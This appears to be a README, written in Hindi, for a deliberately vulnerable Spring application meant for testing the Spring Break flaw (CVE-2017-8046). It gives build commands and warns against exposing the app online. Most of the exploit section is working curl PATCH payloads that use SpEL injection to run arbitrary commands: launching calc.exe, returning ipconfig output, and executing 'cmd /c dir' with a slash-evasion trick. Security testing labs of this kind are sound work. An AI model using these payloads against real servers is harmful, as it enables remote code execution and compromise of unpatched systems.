
चेतावनी: यह Spring Break भेद्यता (CVE-2017-8046) के शोषण का परीक्षण करने के लिए एक असुरक्षित एप्लिकेशन है। इसे अपने जोखिम पर चलाएँ!
यह स्प्रिंग ब्रेक कमजोरी (CVE-2017-8046) के लिए exploit परीक्षण करने हेतु एक कमजोर एप्लिकेशन है।
इस एप्लिकेशन में गंभीर सुरक्षा कमजोरियाँ हैं। इसे अपने जोखिम पर चलाएँ! अनुशंसा की जाती है कि बैकअप और संरक्षित वातावरण (जैसे कि हालिया स्नैपशॉट और होस्ट-ओनली नेटवर्किंग वाला VM) का उपयोग करें। इस एप्लिकेशन को किसी भी इंटरनेट-फेसिंग सर्वर पर अपलोड न करें, क्योंकि वे समझौता हो जाएंगे।
अस्वीकरण: मैं इस एप्लिकेशन (SpringBreakVulnerableApp) के उपयोग के तरीके के लिए जिम्मेदार नहीं हूँ। इस एप्लिकेशन का एकमात्र उद्देश्य स्प्रिंग ब्रेक exploit के लिए एक परीक्षण परिदृश्य होना है और इसका दुर्भावनापूर्ण उपयोग नहीं किया जाना चाहिए। यदि आपका सर्वर SpringBreakVulnerableApp की स्थापना के माध्यम से समझौता किया जाता है, तो यह मेरी जिम्मेदारी नहीं है, यह उस व्यक्ति(व्यक्तियों) की जिम्मेदारी है जिसने इसे अपलोड और स्थापित किया।
एप्लिकेशन को निम्नलिखित Maven कमांड से लॉन्च किया जा सकता है।
mvn spring-boot:run
एक फैट jar निम्नलिखित Maven कमांड से उत्पन्न किया जा सकता है।
mvn clean install spring-boot:repackage
डेटा डालने के लिए आप निम्नलिखित curl कमांड का उपयोग कर सकते हैं।
curl -i -X POST -H "Content-Type: application/json" -d '{ "name" : "Test", "attribute" : "foo"}' http://hostname:port/entity
संभवतः सबसे सरल एक्सप्लॉइट निम्नलिखित अनुरोध है।
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' "http://hostname:port/entity/1"
Windows पर, निम्नलिखित अनुरोध से calc.exe प्रक्रिया लॉन्च की जा सकती है। समान अनुरोधों का उपयोग मनमानी कमांड लॉन्च करने के लिए किया जा सकता है।
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
लॉन्च की गई कमांड का आउटपुट प्राप्त करने के लिए, Spring Framework कोड द्वारा प्रदान किए गए कुछ "गैजेट्स" का उपयोग किया जा सकता है। सौभाग्य से, किसी बाहरी निर्भरता की आवश्यकता नहीं है। उदाहरण के लिए, ipconfig कमांड का परिणाम निम्नलिखित अनुरोध से प्राप्त किया जा सकता है।
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Windows पर, cmd /c dir कमांड, और इसी तरह की अन्य कमांड, निम्नलिखित अनुरोध से लॉन्च की जा सकती हैं। कृपया स्लैश कैरेक्टर को स्पष्ट मान से बचाने के लिए उपयोग की गई तरकीब पर ध्यान दें (अर्थात वास्तविक पार्सिंग से पहले स्पष्ट स्लैश को डॉट्स से बदल दिया जाता है)।
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"cmd \" + T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F)) + \"c dir\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
इस कमजोरी के शोषण के लिए एक Java प्रोग्राम यहाँ पाया जा सकता है।
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE.txt फ़ाइल देखें।